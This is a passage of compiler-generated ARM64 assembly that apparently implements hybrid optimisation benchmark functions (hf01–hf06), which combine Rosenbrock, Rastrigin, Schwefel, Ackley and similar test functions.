sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl rosenbrock_func
mov w0, 2
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl rastrigin_func
ldr x0, [sp, 64]
str xzr, [x0]
str wzr, [sp, 92]
b .L205
.L206:
ldr x0, [sp, 64]
ldr d1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x1, sp, 136
ldr d0, [x1, x0]
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L205:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L206
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 184]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L207
bl __stack_chk_fail
.L207:
ldp x29, x30, [sp], 192
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE30:
.size hf01, .-hf01
.section .rodata
.align 3
.LC0:
.word -1717986918
.word 1070176665
.word -1717986918
.word 1071225241
.word -1717986918
.word 1071225241
.text
.align 2
.global hf02
.type hf02, %function
hf02:
.LFB31:
.cfi_startproc
stp x29, x30, [sp, -192]!
.cfi_def_cfa_offset 192
.cfi_offset 29, -192
.cfi_offset 30, -184
mov x29, sp
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
str w6, [sp, 56]
str w7, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 184]
mov x1, 0
mov w0, 3
str w0, [sp, 100]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
add x2, sp, 160
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldr x0, [x3, 16]
str x0, [x2, 16]
str wzr, [sp, 96]
str wzr, [sp, 92]
b .L209
.L210:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x1, sp, 160
ldr d1, [x1, x0]
ldr w0, [sp, 60]
scvtf d0, w0
fmul d0, d1, d0
bl ceil
fcvtzs w2, d0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
str w2, [x1, x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
ldr w1, [sp, 96]
add w0, w1, w0
str w0, [sp, 96]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L209:
ldr w0, [sp, 100]
sub w0, w0, #1
ldr w1, [sp, 92]
cmp w1, w0
blt .L210
ldr w0, [sp, 100]
sub w3, w0, #1
ldr w1, [sp, 60]
ldr w0, [sp, 96]
sub w2, w1, w0
sxtw x0, w3
lsl x0, x0, 2
add x1, sp, 120
str w2, [x1, x0]
str wzr, [sp, 104]
mov w0, 1
str w0, [sp, 92]
b .L211
.L212:
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x1, sp, 104
ldr w1, [x1, x0]
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x2, sp, 120
ldr w0, [x2, x0]
add w2, w1, w0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 104
str w2, [x1, x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L211:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L212
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 28]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 92]
b .L213
.L214:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
ldr x2, [sp, 32]
add x0, x2, x0
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
add x1, x1, x0
adrp x0, y
add x0, x0, :lo12:y
ldr x2, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L213:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L214
str wzr, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl ellips_func
mov w0, 1
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl schwefel_func
mov w0, 2
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl bent_cigar_func
ldr x0, [sp, 64]
str xzr, [x0]
str wzr, [sp, 92]
b .L215
.L216:
ldr x0, [sp, 64]
ldr d1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x1, sp, 136
ldr d0, [x1, x0]
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L215:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L216
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 184]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L217
bl __stack_chk_fail
.L217:
ldp x29, x30, [sp], 192
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE31:
.size hf02, .-hf02
.section .rodata
.align 3
.LC1:
.word 858993459
.word 1070805811
.word 858993459
.word 1070805811
.word -1717986918
.word 1071225241
.text
.align 2
.global hf03
.type hf03, %function
hf03:
.LFB32:
.cfi_startproc
stp x29, x30, [sp, -192]!
.cfi_def_cfa_offset 192
.cfi_offset 29, -192
.cfi_offset 30, -184
mov x29, sp
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
str w6, [sp, 56]
str w7, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 184]
mov x1, 0
mov w0, 3
str w0, [sp, 100]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
add x2, sp, 160
mov x3, x0
ldp x0, x1, [x3]
stp x0, x1, [x2]
ldr x0, [x3, 16]
str x0, [x2, 16]
str wzr, [sp, 96]
str wzr, [sp, 92]
b .L219
.L220:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x1, sp, 160
ldr d1, [x1, x0]
ldr w0, [sp, 60]
scvtf d0, w0
fmul d0, d1, d0
bl ceil
fcvtzs w2, d0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
str w2, [x1, x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
ldr w1, [sp, 96]
add w0, w1, w0
str w0, [sp, 96]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L219:
ldr w0, [sp, 100]
sub w0, w0, #1
ldr w1, [sp, 92]
cmp w1, w0
blt .L220
ldr w0, [sp, 100]
sub w3, w0, #1
ldr w1, [sp, 60]
ldr w0, [sp, 96]
sub w2, w1, w0
sxtw x0, w3
lsl x0, x0, 2
add x1, sp, 120
str w2, [x1, x0]
str wzr, [sp, 104]
mov w0, 1
str w0, [sp, 92]
b .L221
.L222:
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x1, sp, 104
ldr w1, [x1, x0]
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x2, sp, 120
ldr w0, [x2, x0]
add w2, w1, w0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 104
str w2, [x1, x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L221:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L222
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 28]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 92]
b .L223
.L224:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
ldr x2, [sp, 32]
add x0, x2, x0
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
add x1, x1, x0
adrp x0, y
add x0, x0, :lo12:y
ldr x2, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L223:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L224
str wzr, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl bent_cigar_func
mov w0, 1
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl rosenbrock_func
mov w0, 2
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl bi_rastrigin_func
ldr x0, [sp, 64]
str xzr, [x0]
str wzr, [sp, 92]
b .L225
.L226:
ldr x0, [sp, 64]
ldr d1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x1, sp, 136
ldr d0, [x1, x0]
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L225:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L226
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 184]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L227
bl __stack_chk_fail
.L227:
ldp x29, x30, [sp], 192
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE32:
.size hf03, .-hf03
.align 2
.global hf04
.type hf04, %function
hf04:
.LFB33:
.cfi_startproc
stp x29, x30, [sp, -208]!
.cfi_def_cfa_offset 208
.cfi_offset 29, -208
.cfi_offset 30, -200
mov x29, sp
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
str w6, [sp, 56]
str w7, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 200]
mov x1, 0
mov w0, 4
str w0, [sp, 100]
add x0, sp, 216
sub x0, x0, #48
adrp x1, .LC2
add x1, x1, :lo12:.LC2
ld1 {v0.16b - v1.16b}, [x1]
st1 {v0.16b - v1.16b}, [x0]
str wzr, [sp, 96]
str wzr, [sp, 92]
b .L229
.L230:
add x0, sp, 216
sub x0, x0, #48
ldrsw x1, [sp, 92]
ldr d1, [x0, x1, lsl 3]
ldr w0, [sp, 60]
scvtf d0, w0
fmul d0, d1, d0
bl ceil
fcvtzs w2, d0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
str w2, [x1, x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
ldr w1, [sp, 96]
add w0, w1, w0
str w0, [sp, 96]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L229:
ldr w0, [sp, 100]
sub w0, w0, #1
ldr w1, [sp, 92]
cmp w1, w0
blt .L230
ldr w0, [sp, 100]
sub w3, w0, #1
ldr w1, [sp, 60]
ldr w0, [sp, 96]
sub w2, w1, w0
sxtw x0, w3
lsl x0, x0, 2
add x1, sp, 120
str w2, [x1, x0]
str wzr, [sp, 104]
mov w0, 1
str w0, [sp, 92]
b .L231
.L232:
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x1, sp, 104
ldr w1, [x1, x0]
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x2, sp, 120
ldr w0, [x2, x0]
add w2, w1, w0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 104
str w2, [x1, x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L231:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L232
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 28]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 92]
b .L233
.L234:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
ldr x2, [sp, 32]
add x0, x2, x0
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
add x1, x1, x0
adrp x0, y
add x0, x0, :lo12:y
ldr x2, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L233:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L234
str wzr, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl ellips_func
mov w0, 1
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl ackley_func
mov w0, 2
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl schaffer_F7_func
mov w0, 3
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl rastrigin_func
ldr x0, [sp, 64]
str xzr, [x0]
str wzr, [sp, 92]
b .L235
.L236:
ldr x0, [sp, 64]
ldr d1, [x0]
add x0, sp, 216
sub x0, x0, #80
ldrsw x1, [sp, 92]
ldr d0, [x0, x1, lsl 3]
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L235:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L236
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 200]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L237
bl __stack_chk_fail
.L237:
ldp x29, x30, [sp], 208
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE33:
.size hf04, .-hf04
.section .rodata
.align 3
.LC2:
.word -1717986918
.word 1070176665
.word -1717986918
.word 1070176665
.word -1717986918
.word 1070176665
.word -1717986918
.word 1071225241
.text
.align 2
.global hf05
.type hf05, %function
hf05:
.LFB34:
.cfi_startproc
stp x29, x30, [sp, -208]!
.cfi_def_cfa_offset 208
.cfi_offset 29, -208
.cfi_offset 30, -200
mov x29, sp
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
str w6, [sp, 56]
str w7, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 200]
mov x1, 0
mov w0, 4
str w0, [sp, 100]
add x0, sp, 216
sub x0, x0, #48
adrp x1, .LC3
add x1, x1, :lo12:.LC3
ld1 {v0.16b - v1.16b}, [x1]
st1 {v0.16b - v1.16b}, [x0]
str wzr, [sp, 96]
str wzr, [sp, 92]
b .L239
.L240:
add x0, sp, 216
sub x0, x0, #48
ldrsw x1, [sp, 92]
ldr d1, [x0, x1, lsl 3]
ldr w0, [sp, 60]
scvtf d0, w0
fmul d0, d1, d0
bl ceil
fcvtzs w2, d0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
str w2, [x1, x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
ldr w1, [sp, 96]
add w0, w1, w0
str w0, [sp, 96]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L239:
ldr w0, [sp, 100]
sub w0, w0, #1
ldr w1, [sp, 92]
cmp w1, w0
blt .L240
ldr w0, [sp, 100]
sub w3, w0, #1
ldr w1, [sp, 60]
ldr w0, [sp, 96]
sub w2, w1, w0
sxtw x0, w3
lsl x0, x0, 2
add x1, sp, 120
str w2, [x1, x0]
str wzr, [sp, 104]
mov w0, 1
str w0, [sp, 92]
b .L241
.L242:
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x1, sp, 104
ldr w1, [x1, x0]
ldr w0, [sp, 92]
sub w0, w0, #1
sxtw x0, w0
lsl x0, x0, 2
add x2, sp, 120
ldr w0, [x2, x0]
add w2, w1, w0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 104
str w2, [x1, x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L241:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L242
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 28]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 92]
b .L243
.L244:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
ldr x2, [sp, 32]
add x0, x2, x0
ldr w0, [x0]
sxtw x0, w0
lsl x0, x0, 3
sub x0, x0, #8
add x1, x1, x0
adrp x0, y
add x0, x0, :lo12:y
ldr x2, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L243:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L244
str wzr, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl bent_cigar_func
mov w0, 1
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl hgbat_func
mov w0, 2
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl rastrigin_func
mov w0, 3
str w0, [sp, 92]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x2, sp, 104
ldr w0, [x2, x0]
sxtw x0, w0
lsl x0, x0, 3
add x7, x1, x0
add x1, sp, 136
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x8, x1, x0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
mov w6, 0
mov w5, 0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
mov w2, w0
mov x1, x8
mov x0, x7
bl rosenbrock_func
ldr x0, [sp, 64]
str xzr, [x0]
str wzr, [sp, 92]
b .L245
.L246:
ldr x0, [sp, 64]
ldr d1, [x0]
add x0, sp, 216
sub x0, x0, #80
ldrsw x1, [sp, 92]
ldr d0, [x0, x1, lsl 3]
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L245:
ldr w1, [sp, 92]
ldr w0, [sp, 100]
cmp w1, w0
blt .L246
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [sp, 200]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L247
bl __stack_chk_fail
.L247:
ldp x29, x30, [sp], 208
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE34:
.size hf05, .-hf05
.section .rodata
.align 3
.LC3:
.word -1717986918
.word 1070176665
.word -1717986918
.word 1070176665
.word 858993459
.word 1070805811
.word 858993459
.word 1070805811
.text
.align 2
.global hf06
.type hf06, %function
hf06:
.LFB35:
.cfi_startproc
stp x29, x30, [sp, -208]!
.cfi_def_cfa_offset 208
.cfi_offset 29, -208
.cfi_offset 30, -200
mov x29, sp
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str x5, [sp, 32]
str w6, [sp, 56]
str w7, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 200]
mov x1, 0
mov w0, 4
str w0, [sp, 100]
add x0, sp, 216
sub x0, x0, #48
adrp x1, .LC3
add x1, x1, :lo12:.LC3
ld1 {v0.16b - v1.16b}, [x1]
st1 {v0.16b - v1.16b}, [x0]
str wzr, [sp, 96]
str wzr, [sp, 92]
b .L249
.L250:
add x0, sp, 216
sub x0, x0, #48
ldrsw x1, [sp, 92]
ldr d1, [x0, x1, lsl 3]
ldr w0, [sp, 60]
scvtf d0, w0
fmul d0, d1, d0
bl ceil
fcvtzs w2, d0
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
str w2, [x1, x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 2
add x1, sp, 120
ldr w0, [x1, x0]
ldr w1, [sp, 96]
add w0, w1, w0
str w0, [sp, 96]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L249:
ldr w0, [sp, 100]
sub w0, w0, #1
ldr w1, [sp, 92]
